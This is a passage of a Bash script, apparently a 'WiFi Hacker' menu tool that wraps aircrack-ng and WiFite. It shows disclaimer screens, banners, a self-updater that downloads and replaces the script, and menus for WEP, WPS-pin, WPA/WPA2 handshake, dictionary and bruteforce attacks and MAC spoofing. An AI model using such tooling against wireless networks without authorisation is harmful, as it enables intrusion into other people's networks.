1047 | bannerSlim
1048 |
1049 | $cyan
1050 | echo ""
1051 | echo "****************************************************************************************************"
1052 | echo "THIS WILL TERMINATE ANY ACTIVE INTERNET CONNECTION! IF YOU HAVE ISSUES CONNECTING TO THE INTERNET"
1053 | echo "AFTER AN ATTACK HAS BEEN PERFORMED, USE THE EXTRAS OPTION IN TOOLBAR TO START AND STOP SERVICES."
1054 | echo "IF THIS DOES NOT WORK, THEN YOU CAN RESTART THIS SCRIPT, OR REBOOT THE MACHINE AND RETURN TO NORMAL."
1055 | echo "****************************************************************************************************"
1056 | echo ""
1057 | $green
1058 | echo "**********************************************************"
1059 | echo "YOU MUST AGREE TO THESE TERMS BEFORE USING THIS SOFTWARE!"
1060 | echo "**********************************************************"
1061 | $white
1062 | echo ""
1063 | echo "By using this script, you are agreeing to the following terms:"
1064 | echo ""
1065 | echo "1) Not to be used for attacking access points that you do not have permission to test"
1066 | echo ""
1067 | echo "2) Stay within legal limits of transmission power, depending on your country laws"
1068 | echo ""
1069 | echo "3) Stay within legal limits of channel usage, depending on your country laws"
1070 | echo ""
1071 | $green
1072 | echo "**********************************************************"
1073 | echo "YOU MUST AGREE TO THESE TERMS BEFORE USING THIS SOFTWARE!"
1074 | echo "**********************************************************"
1075 | $white
1076 | echo ""
1077 | echo ""
1078 | echo ""
1079 | echo "PLEASE PRESS "\""Y"\"" AND ENTER TO ACCEPT AND CONTINUE"
1080 | echo ""
1081 |
1082 | read agreeToDisclaimer
1083 |
1084 | case "$agreeToDisclaimer" in
1085 |
1086 | "")
1087 | bannerExit
1088 | ;;
1089 |
1090 | "Y" | "y")
1091 | checkForUpdates
1092 | fixNegativeOneChannelError
1093 | #initAirmon
1094 | fixAirmonCompat
1095 | #startNetworkManager
1096 | #killNetworkManager
1097 | #wpaSupplicantKill
1098 | #initMonitorMode
1099 | #stopMonitorMode
1100 | #checkMultipleAdapters
1101 | menuMain
1102 | ;;
1103 |
1104 | *)
1105 | bannerExit
1106 | ;;
1107 |
1108 | esac
1109 |
1110 | }
1111 |
1112 |
1113 | isUnreleased(){
1114 |
1115 | currentTask="isUnreleased"
1116 | lastMenuID="isUnreleased"
1117 |
1118 | sessionCreatePaths
1119 | sessionRemoveEmpty
1120 |
1121 | bannerSlim
1122 |
1123 | $cyan
1124 | echo ""
1125 | echo "****************************************************************************************************"
1126 | echo "THIS WILL TERMINATE ANY ACTIVE INTERNET CONNECTION! IF YOU HAVE ISSUES CONNECTING TO THE INTERNET"
1127 | echo "AFTER AN ATTACK HAS BEEN PERFORMED, USE THE EXTRAS OPTION IN TOOLBAR TO START AND STOP SERVICES."
1128 | echo "IF THIS DOES NOT WORK, THEN YOU CAN RESTART THIS SCRIPT, OR REBOOT THE MACHINE AND RETURN TO NORMAL."
1129 | echo "****************************************************************************************************"
1130 | echo ""
1131 | $green
1132 | echo "**********************************************************"
1133 | echo "YOU MUST AGREE TO THESE TERMS BEFORE USING THIS SOFTWARE!"
1134 | echo "**********************************************************"
1135 | echo ""
1136 | $yellow
1137 | echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
1138 | echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
1139 | echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
1140 | echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
1141 | echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
1142 | echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
1143 | echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
1144 | echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
1145 | echo ""
1146 | $green
1147 | echo "**********************************************************"
1148 | echo "YOU MUST AGREE TO THESE TERMS BEFORE USING THIS SOFTWARE!"
1149 | echo "**********************************************************"
1150 | echo ""
1151 | echo ""
1152 | echo ""
1153 | $white
1154 | echo "PLEASE PRESS "\""Y"\"" AND ENTER TO ACCEPT AND CONTINUE"
1155 | echo ""
1156 |
1157 | read agreeToDisclaimer
1158 |
1159 | case "$agreeToDisclaimer" in
1160 |
1161 | "")
1162 | bannerExit
1163 | ;;
1164 |
1165 | "Y" | "y")
1166 | checkForUpdates
1167 | fixNegativeOneChannelError
1168 | #initAirmon
1169 | fixAirmonCompat
1170 | #startNetworkManager
1171 | #killNetworkManager
1172 | #wpaSupplicantKill
1173 | #initMonitorMode
1174 | #stopMonitorMode
1175 | #checkMultipleAdapters
1176 | menuMain
1177 | ;;
1178 |
1179 | *)
1180 | bannerExit
1181 | ;;
1182 |
1183 | esac
1184 |
1185 | }
1186 |
1187 |
1188 | ############################################################################
1189 | # DISCLAIMER END #######################################################
1190 | ############################################################################
1191 |
1192 |
1193 |
1194 |
1195 |
1196 | ############################################################################
1197 | # BANNERS BEGIN ########################################################
1198 | ############################################################################
1199 |
1200 |
1201 | banner(){
1202 |
1203 | setWindowTitle
1204 |
1205 | currentTask="banner"
1206 |
1207 | clear
1208 | $blue
1209 | echo "--------------------- **************************************************************** ----------------------"
1210 | echo "| [M] Main Menu | * WiFi Hacker v$versionBase / esc0rtd3w 2019 / github.com/esc0rtd3w * | [X] Exit |"
1211 | echo "--------------------- **************************************************************** ----------------------"
1212 | $yellow
1213 | echo "-------------------------------------------------------------------------------------------------------------------"
1214 | echo "| Interfaces: $interfacesFound | Interface Mode: $interfaceMode | [A] Advanced | Sessions: [S] Save [L] Load | [E] Extras [H] Help |"
1215 | echo "-------------------------------------------------------------------------------------------------------------------"
1216 | #echo ""
1217 | $white
1218 |
1219 | }
1220 |
1221 |
1222 | bannerNoMenu(){
1223 |
1224 | currentTask="bannerNoMenu"
1225 |
1226 | setWindowTitle
1227 |
1228 | clear
1229 | $blue
1230 | echo "--------------------- **************************************************************** ----------------------"
1231 | echo "| [ CTRL+C ] Main | * WiFi Hacker v$versionBase / esc0rtd3w 2019 / github.com/esc0rtd3w * | [CTRL+C x2 ] Exit |"
1232 | echo "--------------------- **************************************************************** ----------------------"
1233 | $yellow
1234 | echo "-------------------------------------------------------------------------------------------------------------------"
1235 | echo "| Interfaces: $interfacesFound | Interface Mode: $interfaceMode | [A] Advanced | Sessions: [S] Save [L] Load | [E] Extras [H] Help |"
1236 | echo "-------------------------------------------------------------------------------------------------------------------"
1237 | #echo ""
1238 | $white
1239 |
1240 | }
1241 |
1242 |
1243 | bannerMain(){
1244 |
1245 | currentTask="bannerMain"
1246 |
1247 | setWindowTitle
1248 |
1249 | clear
1250 | $blue
1251 | echo "--------------------- **************************************************************** ----------------------"
1252 | echo "| [ ] | * WiFi Hacker v$versionBase / esc0rtd3w 2019 / github.com/esc0rtd3w * | [CTRL+C ] Exit |"
1253 | echo "--------------------- **************************************************************** ----------------------"
1254 | echo "-------------------------------------------------------------------------------------------------------------------"
1255 | $yellow
1256 | echo "| Interfaces: $interfacesFound | Interface Mode: $interfaceMode | [A] Advanced | Sessions: [S] Save [L] Load | [E] Extras [H] Help |"
1257 | echo "-------------------------------------------------------------------------------------------------------------------"
1258 | #echo ""
1259 | $white
1260 |
1261 | }
1262 |
1263 | bannerMenu(){
1264 |
1265 | currentTask="bannerMenu"
1266 |
1267 | setWindowTitle
1268 |
1269 | clear
1270 | $blue
1271 | echo "--------------------- **************************************************************** ----------------------"
1272 | echo "| [ ] | * WiFi Hacker v$versionBase / esc0rtd3w 2019 / github.com/esc0rtd3w * | [CTRL+C ] Exit |"
1273 | echo "--------------------- **************************************************************** ----------------------"
1274 | $yellow
1275 | echo "-------------------------------------------------------------------------------------------------------------------"
1276 | echo "| Interfaces: $interfacesFound | Interface Mode: $interfaceMode | [A] Advanced | Sessions: [S] Save [L] Load | [E] Extras [H] Help |"
1277 | echo "-------------------------------------------------------------------------------------------------------------------"
1278 | #echo ""
1279 | $white
1280 |
1281 | }
1282 |
1283 | bannerSlim(){
1284 |
1285 | currentTask="bannerSlim"
1286 |
1287 | setWindowTitle
1288 |
1289 | clear
1290 | $blue
1291 | echo "--------------------- **************************************************************** ----------------------"
1292 | echo "| [ ] | * WiFi Hacker v$versionBase / esc0rtd3w 2019 / github.com/esc0rtd3w * | [CTRL+C ] Exit |"
1293 | echo "--------------------- **************************************************************** ----------------------"
1294 | $white
1295 |
1296 | }
1297 |
1298 |
1299 | bannerStats(){
1300 |
1301 | currentTask="bannerStats"
1302 |
1303 | $cyan
1304 | echo "-------------------------------------------------------------------------------------------------------------------"
1305 | echo "Interface: $interfaceName / MAC: $macAddressMonitor / ESSID: $essid / BSSID: $bssid / Channel: $channel"
1306 | echo "-------------------------------------------------------------------------------------------------------------------"
1307 | echo ""
1308 | $white
1309 |
1310 | }
1311 |
1312 | bannerExit(){
1313 |
1314 | currentTask="bannerExit"
1315 |
1316 | sessionWriteEndCurrent
1317 |
1318 | sessionRemoveEmpty
1319 |
1320 | forceDisconnectWifi
1321 |
1322 | clear
1323 | $blue
1324 | echo "Thank You For Playing Fair ;)"
1325 | echo ""
1326 | echo "esc0rtd3w 2019"
1327 | echo ""
1328 | echo ""
1329 | $cyan
1330 | echo "View My Other Projects On GitHub:"
1331 | echo ""
1332 | echo "https://github.com/esc0rtd3w"
1333 | echo ""
1334 | echo ""
1335 |
1336 | exit
1337 |
1338 | }
1339 |
1340 | bannerExitUpdate(){
1341 |
1342 | currentTask="bannerExitUpdate"
1343 |
1344 | clear
1345 | $green
1346 | echo "The WiFi Hacker Script Has Been Updated To Version $versionRemote"
1347 | echo ""
1348 | echo "The New Script Is Located At $initPath/$newVersionScript"
1349 | echo ""
1350 | echo ""
1351 | echo ""
1352 | echo "To launch the new script type the following two lines into this terminal WITHOUT QUOTES"
1353 | echo ""
1354 | echo "\"chmod a+x $newVersionScript\""
1355 | echo ""
1356 | echo "\"./$newVersionScript\""
1357 | echo ""
1358 | echo ""
1359 | echo ""
1360 | $blue
1361 | echo "Thank You For Playing Fair ;)"
1362 | echo ""
1363 | echo "esc0rtd3w 2019"
1364 | echo ""
1365 | echo ""
1366 | $cyan
1367 | echo "View My Other Projects On GitHub:"
1368 | echo ""
1369 | echo "https://github.com/esc0rtd3w"
1370 | echo ""
1371 | echo ""
1372 |
1373 | exit
1374 |
1375 | }
1376 |
1377 |
1378 | ############################################################################
1379 | # BANNERS END ##########################################################
1380 | ############################################################################
1381 |
1382 |
1383 |
1384 |
1385 |
1386 | ############################################################################
1387 | # GLOBAL TEXT BEGIN ####################################################
1388 | ############################################################################
1389 |
1390 |
1391 | # Usage: doSleepMessage "message" "time" "color"
1392 | # Usage Example: doSleepMessage "Please Wait...." "5" "$red"
1393 | doSleepMessage(){
1394 |
1395 | message="$1"
1396 | time="$2"
1397 | color="$3"
1398 |
1399 | currentTask="doSleepMessage"
1400 |
1401 | banner
1402 | bannerStats
1403 | $color
1404 | echo "$message"
1405 | sleep $time
1406 |
1407 | }
1408 |
1409 |
1410 | ############################################################################
1411 | # GLOBAL TEXT END ######################################################
1412 | ############################################################################
1413 |
1414 |
1415 |
1416 |
1417 |
1418 | ############################################################################
1419 | # UPDATE STUFF BEGIN ###################################################
1420 | ############################################################################
1421 |
1422 |
1423 | checkForUpdates(){
1424 |
1425 | currentTask="checkForUpdates"
1426 |
1427 | checkConnectionStatus
1428 |
1429 | # If a blank entry was made to skip update then this value should be 1
1430 | case "$skipUpdate" in
1431 |
1432 | "0")
1433 | # If connection can connect to internet, check for update
1434 | case "$ipStatus" in
1435 |
1436 | "1")
1437 | menuUpdate
1438 | ;;
1439 |
1440 | esac
1441 |
1442 | ;;
1443 |
1444 | esac
1445 |
1446 | }
1447 |
1448 |
1449 | menuUpdate(){
1450 |
1451 | currentTask="menuUpdate"
1452 |
1453 | # Check remote server for update version
1454 | case "$updateChecked" in
1455 |
1456 | "0")
1457 |
1458 | # Make sure there is an active internet connection
1459 | case "$ipStatus" in
1460 |
1461 | "1")
1462 | checkUpdate
1463 | ;;
1464 |
1465 | esac
1466 |
1467 | ;;
1468 |
1469 | esac
1470 |
1471 | # Set default choice
1472 | updateChoice=""
1473 |
1474 | bannerSlim
1475 |
1476 | echo ""
1477 | #echo "Update Menu"
1478 | #echo ""
1479 | #echo ""
1480 | #echo ""
1481 |
1482 | # If remote version is not newer, then local version should be green
1483 | case "$newUpdateAvailable" in
1484 |
1485 | "0")
1486 | $green
1487 | ;;
1488 |
1489 | "1")
1490 | $yellow
1491 | ;;
1492 |
1493 | "2")
1494 | $magenta
1495 | ;;
1496 |
1497 | esac
1498 |
1499 | echo "Local Version: v$versionBase"
1500 | echo ""
1501 |
1502 | # If remote version is newer, then local version should not be green
1503 | case "$newUpdateAvailable" in
1504 |
1505 | "0")
1506 | $yellow
1507 | ;;
1508 |
1509 | "1")
1510 | $green
1511 | ;;
1512 |
1513 | "2")
1514 | $magenta
1515 | ;;
1516 |
1517 | esac
1518 |
1519 | echo "Remote Version: v$versionRemote"
1520 | $white
1521 | echo ""
1522 | echo ""
1523 | echo ""
1524 | echo ""
1525 | echo ""
1526 | echo "Choose an option and press ENTER:"
1527 | echo ""
1528 | echo ""
1529 | echo "1) Check For New Update"
1530 | echo ""
1531 | echo "2) Apply New Update"
1532 | echo ""
1533 | echo ""
1534 | echo ""
1535 | echo ""
1536 | echo ""
1537 | echo ""
1538 | echo ""
1539 | echo ""
1540 | echo ""
1541 | echo ""
1542 | $cyan
1543 | echo "AUTOMATICALLY CONTINUING IN 10 SECONDS...."
1544 | $white
1545 | echo ""
1546 |
1547 | #read updateChoice
1548 | read -t 10 updateChoice
1549 |
1550 | case "$updateChoice" in
1551 |
1552 | "")
1553 | skipUpdate="1"
1554 | returnToUpdatePage="0"
1555 | #read pause
1556 | ;;
1557 |
1558 | "1")
1559 | # Reset updateChecked Flag
1560 | updateChecked="0"
1561 |
1562 | returnToUpdatePage="1"
1563 | checkUpdate
1564 | ;;
1565 |
1566 | "2")
1567 |
1568 | case "$newUpdateAvailable" in
1569 |
1570 | # No Update Available / Remote Version Matches Local
1571 | "0")
1572 | returnToUpdatePage="0"
1573 |
1574 | banner
1575 | $red
1576 | echo ""
1577 | echo "No Updates Are Available!"
1578 | echo ""
1579 | echo ""
1580 | echo ""
1581 | echo ""
1582 | echo ""
1583 | echo ""
1584 | $cyan
1585 | echo "Continuing To Main Menu In 5 Seconds...."
1586 | echo ""
1587 | echo ""
1588 |
1589 | read -t 5 noUpdateAvailable
1590 | ;;
1591 |
1592 | # Update Is Available / Remote Version Is Higher Than Local
1593 | "1")
1594 | returnToUpdatePage="0"
1595 | getUpdate
1596 | ;;
1597 |
1598 | # Dev Build / Remote Version Is Lower Than Local
1599 | "2")
1600 | returnToUpdatePage="0"
1601 |
1602 | banner
1603 | $magenta
1604 | echo ""
1605 | echo "You Have An Unreleased Developer Version"
1606 | echo ""
1607 | echo ""
1608 | echo ""
1609 | $green
1610 | echo ""
1611 | echo "* TO FORCE UPDATE FROM REMOTE VERSION PRESS \"F\" AND ENTER *"
1612 | echo ""
1613 | echo ""
1614 | echo ""
1615 | echo ""
1616 | $cyan
1617 | echo "Continuing To Main Menu In 10 Seconds...."
1618 | echo ""
1619 | echo ""
1620 |
1621 | read -t 10 noUpdateAvailable
1622 |
1623 | # Check for Forced Update Flag
1624 | case "$noUpdateAvailable" in
1625 |
1626 | "F" | "f")
1627 | returnToUpdatePage="0"
1628 | getUpdate
1629 | ;;
1630 |
1631 | esac
1632 | ;;
1633 |
1634 | esac
1635 | ;;
1636 |
1637 | "x" | "X")
1638 | bannerExit
1639 | ;;
1640 |
1641 | esac
1642 |
1643 | }
1644 |
1645 |
1646 | checkUpdate(){
1647 |
1648 | currentTask="checkUpdate"
1649 |
1650 | wget -O "$updateTemp" $updateMaster
1651 |
1652 | versionRemoteTemp=$(cat $updateTemp | grep versionBase= | cut -d "\"" -f2 | head -c 3)
1653 |
1654 | versionRemote="$versionRemoteTemp"
1655 |
1656 | case "$isDebugMode" in
1657 | "1")
1658 | echo "versionRemote: $versionRemote"
1659 | read pause
1660 | ;;
1661 | esac
1662 |
1663 | cleanVersionNumbers
1664 | compareUpdateVersions
1665 |
1666 | #echo "newUpdateAvailable: $newUpdateAvailable"
1667 | #read pause
1668 |
1669 | rm $updateTemp
1670 |
1671 | updateChecked="1"
1672 |
1673 | case "$returnToUpdatePage" in
1674 |
1675 | "1")
1676 | menuUpdate
1677 | ;;
1678 |
1679 | esac
1680 |
1681 | }
1682 |
1683 |
1684 | getUpdate(){
1685 |
1686 | currentTask="getUpdate"
1687 |
1688 | # Get Base Script Name
1689 | #newVersionScript=$(printf '%s\n' "${0##*/}")
1690 | newVersionScript=$(basename -- "$0")
1691 |
1692 | # Download New Script
1693 | wget -O "$initPath/$newVersionScript.tmp" $updateMaster
1694 |
1695 | #read pause
1696 |
1697 | # Make Backup of Original Script
1698 | cp "$initPath/$newVersionScript" "$initPath/$newVersionScript.BACKUP"
1699 |
1700 | # Remove Old Script
1701 | rm -f "$initPath/$newVersionScript"
1702 |
1703 | # Copy New Script
1704 | cp "$initPath/$newVersionScript.tmp" "$initPath/$newVersionScript"
1705 |
1706 | # Remove Temp Script
1707 | rm -f "$initPath/$newVersionScript.tmp"
1708 |
1709 | #read pause
1710 |
1711 | bannerExitUpdate
1712 |
1713 | }
1714 |
1715 |
1716 | cleanVersionNumbers(){
1717 |
1718 | currentTask="cleanUpdateVersion"
1719 |
1720 | versionBaseClean=$(echo $versionBase | sed -e 's/\.//')
1721 |
1722 | versionRemoteClean=$(echo $versionRemote | sed -e 's/\.//')
1723 |
1724 | #echo "Local Version: $versionBaseClean"
1725 | #echo "Remote Version: $versionRemoteClean"
1726 | #read pause
1727 |
1728 | }
1729 |
1730 |
1731 | compareUpdateVersions(){
1732 |
1733 | # Compare Local and Remote Versions (0 = Not Greater / 1 = Greater) (Not working?? 20170102)
1734 | #versionCompare=$(echo "$versionBaseClean <= $versionRemoteClean" | awk '{print ($versionBaseClean <= $versionRemoteClean)}')
1735 |
1736 | if [ $versionRemoteClean -lt $versionBaseClean ]; then
1737 |
1738 | newUpdateAvailable="2"
1739 | isDevBuild="1"
1740 |
1741 | fi
1742 |
1743 | if [ $versionRemoteClean -gt $versionBaseClean ]; then
1744 |
1745 | newUpdateAvailable="1"
1746 | isDevBuild="0"
1747 |
1748 | fi
1749 |
1750 | if [ $versionRemoteClean -eq $versionBaseClean ]; then
1751 |
1752 | newUpdateAvailable="0"
1753 | isDevBuild="0"
1754 |
1755 | fi
1756 |
1757 | }
1758 |
1759 |
1760 | ############################################################################
1761 | # UPDATE STUFF END #####################################################
1762 | ############################################################################
1763 |
1764 |
1765 |
1766 |
1767 |
1768 | ############################################################################
1769 | # OTHER MISC STUFF BEGIN ###############################################
1770 | ############################################################################
1771 |
1772 |
1773 | checkRootStatus(){
1774 |
1775 | userPriv="none"
1776 |
1777 | isRoot=$(whoami | grep root)
1778 |
1779 | case "$isRoot" in
1780 |
1781 | "root")
1782 | userPriv="root"
1783 |
1784 | esac
1785 |
1786 | if [ "$userPriv" != "root" ]; then
1787 | noRootAccess
1788 | fi
1789 |
1790 | }
1791 |
1792 |
1793 |
1794 | noRootAccess(){
1795 |
1796 | banner
1797 | bannerStats
1798 |
1799 | $red
1800 | echo "Yikes! No Root Access!"
1801 | $white
1802 | echo ""
1803 | echo ""
1804 | echo "I Currently Have Nothing Scripted To Handle This :("
1805 | echo ""
1806 | echo "Please login as a root user and try again!"
1807 | echo ""
1808 | echo ""
1809 | echo "Press ENTER to exit this script...."
1810 | echo ""
1811 | echo ""
1812 |
1813 | read pause
1814 |
1815 |
1816 | bannerExit
1817 |
1818 | }
1819 |
1820 |
1821 | checkConnectionStatus(){
1822 |
1823 | ipStatus="0"
1824 | ipStatusText="None"
1825 |
1826 | ipStatusTemp=$(ping -c 1 google.com | grep "1 received")
1827 |
1828 | ipStatus=$(echo "$ipStatusTemp" | cut -c1)
1829 |
1830 |
1831 | case "$ipStatus" in
1832 |
1833 | "1")
1834 | ipStatus="1"
1835 | ipStatusText="Wifi"
1836 | ;;
1837 |
1838 | esac
1839 |
1840 | case "$ipStatusText" in
1841 |
1842 | "None")
1843 | ipStatus="0"
1844 | ;;
1845 |
1846 | esac
1847 |
1848 | #echo "$ipStatusText"
1849 |
1850 | #read pause
1851 |
1852 | }
1853 |
1854 |
1855 | fixAirmonCompat(){
1856 |
1857 | #$terminal airmon-ng check kill&
1858 | airmon-ng check kill&
1859 | #airmon-ng check kill&
1860 |
1861 | }
1862 |
1863 |
1864 | checkWifiandDisplayMessage(){
1865 |
1866 | case "$ipStatusText" in
1867 |
1868 | "Wifi")
1869 | banner
1870 | echo ""
1871 | echo "YOU MUST DISCONNECT FROM WIFI BEFORE CONTINUING!!!!"
1872 | echo ""
1873 | echo ""
1874 | echo "PRESS ENTER TO RETURN TO MAIN MENU...."
1875 | echo ""
1876 | echo ""
1877 |
1878 | read pause
1879 |
1880 | menuMain
1881 | ;;
1882 |
1883 | esac
1884 |
1885 | }
1886 |
1887 |
1888 | # Tries fixing issues with connection staying persistant to WiFi
1889 | forceDisconnectWifi() {
1890 |
1891 | #stopMonitorMode
1892 | #killNetworkManager
1893 | NetworkManager
1894 | #disableChannelHopping
1895 | enableChannelHopping
1896 |
1897 | }
1898 |
1899 |
1900 | ############################################################################
1901 | # OTHER MISC STUFF END #################################################
1902 | ############################################################################
1903 |
1904 |
1905 |
1906 |
1907 |
1908 | ############################################################################
1909 | # MENUS: MAIN BEGIN ####################################################
1910 | ############################################################################
1911 |
1912 |
1913 | loadMenuHotkeys(){
1914 |
1915 | case "$hotkeyInput" in
1916 |
1917 | "M" | "m")
1918 |
1919 | # Check for resetSpoofStatus Flag
1920 | case "$resetSpoofStatus" in
1921 |
1922 | "1")
1923 | spoofStatus="0"
1924 | ;;
1925 |
1926 | esac
1927 |
1928 | killAll
1929 | stopMonitorMode
1930 | menuMain
1931 | ;;
1932 |
1933 | "A" | "a")
1934 | menuAdvanced
1935 | ;;
1936 |
1937 | "S" | "s")
1938 | checkForEmptyEncryptionType
1939 |
1940 | case "$bssid" in
1941 |
1942 | "")
1943 | menuMain
1944 | ;;
1945 |
1946 | esac
1947 |
1948 | if [ "$bssid" != "" ]; then
1949 | menuSessionSave
1950 | fi
1951 | ;;
1952 |
1953 | "L" | "l")
1954 | checkForEmptyEncryptionType
1955 | menuSessionLoad
1956 | ;;
1957 |
1958 | "H" | "h")
1959 | menuHelp
1960 | ;;
1961 |
1962 | "E" | "e")
1963 |
1964 | case "$lastMenuID" in
1965 |
1966 | "menuMain")
1967 | menuMain
1968 | ;;
1969 |
1970 | *)
1971 | menuExtras
1972 | ;;
1973 |
1974 | esac
1975 |
1976 | ;;
1977 |
1978 | "X" | "x")
1979 | killAll
1980 | stopMonitorMode
1981 | bannerExit
1982 | ;;
1983 |
1984 | esac
1985 |
1986 | }
1987 |
1988 |
1989 | menuMain(){
1990 |
1991 | currentTask="menuMain"
1992 | lastMenuID="menuMain"
1993 |
1994 | # Create temp folder to use for text dumps, etc
1995 | mkdir $whTemp
1996 |
1997 | checkRootStatus
1998 | sessionCreatePaths
1999 | sessionRemoveEmpty
2000 |
2001 | checkMultipleAdapters
2002 | checkInterfaceMode
2003 |
2004 | checkConnectionStatus
2005 |
2006 | case "$ipStatus" in
2007 |
2008 | "1")
2009 | banner
2010 | echo ""
2011 | echo "Loading Menu...."
2012 | echo ""
2013 | echo ""
2014 |
2015 | forceDisconnectWifi
2016 | checkConnectionStatus
2017 |
2018 | sleep 3
2019 |
2020 | menuMain
2021 | ;;
2022 |
2023 | "0")
2024 | banner
2025 | echo ""
2026 | #echo "Welcome to the WiFi Hacker script!"
2027 | echo "Compatible with all WEP/WPA/WPA2/WPS protected WiFi routers."
2028 | echo ""
2029 | $red
2030 | echo "**********************************************************************"
2031 | echo "YOU MUST DISCONNECT FROM ANY WIRELESS CONNECTIONS BEFORE CONTINUING!!!"
2032 | echo "**********************************************************************"
2033 | echo ""
2034 |
2035 | case "$ipStatus" in
2036 | "0")
2037 | $green
2038 | ;;
2039 |
2040 | "1")
2041 | $red
2042 | ;;
2043 | esac
2044 | echo "You are currently connected to: $ipStatusText"
2045 | $white
2046 | echo ""
2047 | echo ""
2048 | #$cyan
2049 | echo "0) Auto Mode (Uses WiFite In Full Automatic Mode. Applies To All Encryption Types)"
2050 | #$white
2051 | echo ""
2052 | echo "1) WEP Mode (Menu Options Can Be Selected To Easily Circumvent Any WEP Connection)"
2053 | echo ""
2054 | echo "2) WPS Mode (Pin Vulnerability Attack. May Also Have WPA, WPA2, or WEP Displayed)"
2055 | echo ""
2056 | echo "3) WPA Mode (Capture 4-way Handshake, Dictionary Attack, Bruteforce, Custom Wordlist, and More)"
2057 | echo ""
2058 | echo "4) WPA2 Mode (Identical To WPA Attacks, Except Target Encryption Type)"
2059 | echo ""
2060 | echo ""
2061 | echo ""
2062 | echo "Select a mode from above and press Enter:"
2063 | echo ""
2064 |
2065 | read getMode
2066 |
2067 | hotkeyInput="$getMode"
2068 |
2069 | loadMenuHotkeys "$hotkeyInput"
2070 |
2071 | case "$getMode" in
2072 |
2073 | "")
2074 | menuMain
2075 | ;;
2076 |
2077 | "0")
2078 | checkConnectionStatus
2079 | checkWifiandDisplayMessage
2080 | menuAttacksAllWifiteAuto
2081 | menuMain
2082 | ;;
2083 |
2084 | "1")
2085 | checkConnectionStatus
2086 | checkWifiandDisplayMessage
2087 | mkdir $capturePathWEP
2088 | encryptionType="wep"
2089 | encryptionTypeText="WEP"
2090 | checkSpoofStatus
2091 | menuAuto
2092 | ;;
2093 |
2094 | "2")
2095 | checkConnectionStatus
2096 | checkWifiandDisplayMessage
2097 | mkdir $capturePathWPS
2098 | encryptionType="wps"
2099 | encryptionTypeText="WPS"
2100 | checkSpoofStatus
2101 | menuAuto
2102 | ;;
2103 |
2104 | "3")
2105 | checkConnectionStatus
2106 | checkWifiandDisplayMessage
2107 | mkdir $capturePathWPA
2108 | encryptionType="wpa"
2109 | encryptionTypeText="WPA"
2110 | checkSpoofStatus
2111 | menuAuto
2112 | ;;
2113 |
2114 | "4")
2115 | checkConnectionStatus
2116 | checkWifiandDisplayMessage
2117 | mkdir $capturePathWPA2
2118 | encryptionType="wpa2"
2119 | encryptionTypeText="WPA2"
2120 | checkSpoofStatus
2121 | menuAuto
2122 | ;;
2123 |
2124 | *)
2125 | menuMain
2126 | ;;
2127 |
2128 | esac
2129 | ;;
2130 |
2131 | esac
2132 |
2133 | #menuMain
2134 | }
2135 |
2136 |
2137 | menuAuto(){
2138 |
2139 | currentTask="menuAuto"
2140 | lastMenuID="menuAuto"
2141 |
2142 | case "$encryptionTypeText" in
2143 |
2144 | "Empty")
2145 | menuMain
2146 | ;;
2147 |
2148 | esac
2149 |
2150 | #sessionCopyNewCaptureFiles
2151 | sessionRemoveEmpty
2152 |
2153 | cleanTempScanResultsFile "all"
2154 |
2155 | checkInterfaceMode
2156 |
2157 | banner
2158 | bannerStats
2159 |
2160 | $green
2161 | echo ""
2162 | echo "You are ready to begin the $encryptionTypeText attack!"
2163 | echo ""
2164 | $white
2165 |
2166 | case "$encryptionTypeText" in
2167 |
2168 | "WEP")
2169 | echo "To perform a fully automated attack, type AUTOWEP end press ENTER"
2170 | ;;
2171 |
2172 | "WPS")
2173 | echo "To perform a fully automated attack, type AUTOWPS end press ENTER"
2174 | ;;
2175 |
2176 | "WPA")
2177 | echo "To perform a fully automated attack, type AUTOWPA end press ENTER"
2178 | ;;
2179 |
2180 | "WPA2")
2181 | echo "To perform a fully automated attack, type AUTOWPA2 end press ENTER"
2182 | ;;
2183 |
2184 | esac
2185 |
2186 | echo ""
2187 | echo "YOU MAY NOW OPTIONALLY PRESS THE \"W\" KEY ON KEYBOARD TO YOUR SPOOF MAC ADDRESS"
2188 | echo ""
2189 | echo ""
2190 | echo ""
2191 | echo "The next step will run an airodump-ng session in a new window."
2192 | echo ""
2193 | echo "Once you enter all required info, the new window will be closed"
2194 | echo ""
2195 | echo ""
2196 | echo ""
2197 | echo "Press ENTER to clear the current session and select a target...."
2198 | echo ""
2199 | echo "YOU MAY ALSO PRESS THE \"P\" KEY ON KEYBOARD TO LOAD PREVIOUS SESSION"
2200 | echo ""
2201 |
2202 | read readyForAirodumpScan
2203 |
2204 | hotkeyInput="$readyForAirodumpScan"
2205 |
2206 | loadMenuHotkeys "$hotkeyInput"
2207 |
2208 | case "$readyForAirodumpScan" in
2209 |
2210 | "")
2211 | killAll
2212 | checkForEmptyEncryptionType
2213 |
2214 | # Run wash if WPS
2215 | case "$encryptionTypeText" in
2216 |
2217 | "WPS")
2218 | #$terminal wash -i $interfaceMonitor -o "$washFile" -C
2219 | ;;
2220 |
2221 | esac
2222 |
2223 | autoModeNoPreviousSession
2224 | ;;
2225 |
2226 | "P" | "p")
2227 | checkForEmptyEncryptionType
2228 |
2229 | checkForEmptyCredentials "bssid"
2230 | checkForEmptyCredentials "essid"
2231 | checkForEmptyCredentials "channel"
2232 |
2233 | autoModeUsePreviousSession
2234 | ;;
2235 |
2236 | "W" | "w")
2237 | #returnTo="menuAuto"
2238 | spoofMacAddress
2239 | menuAuto
2240 | ;;
2241 |
2242 | "autowep" | "AUTOWEP" | "AutoWEP" | "AutoWep" | "autoWEP" | "autoWep")
2243 | menuAttacksWEPWifiteAuto
2244 | ;;
2245 |
2246 | "autowps" | "AUTOWPS" | "AutoWPS" | "AutoWps" | "autoWPS" | "autoWps")
2247 | menuAttacksWPSWifiteAuto
2248 | ;;
2249 |
2250 | "autowpa" | "AUTOWPA" | "AutoWPA" | "AutoWpa" | "autoWPA" | "autoWpa")
2251 | menuAttacksWPAWifiteAuto
2252 | ;;
2253 |
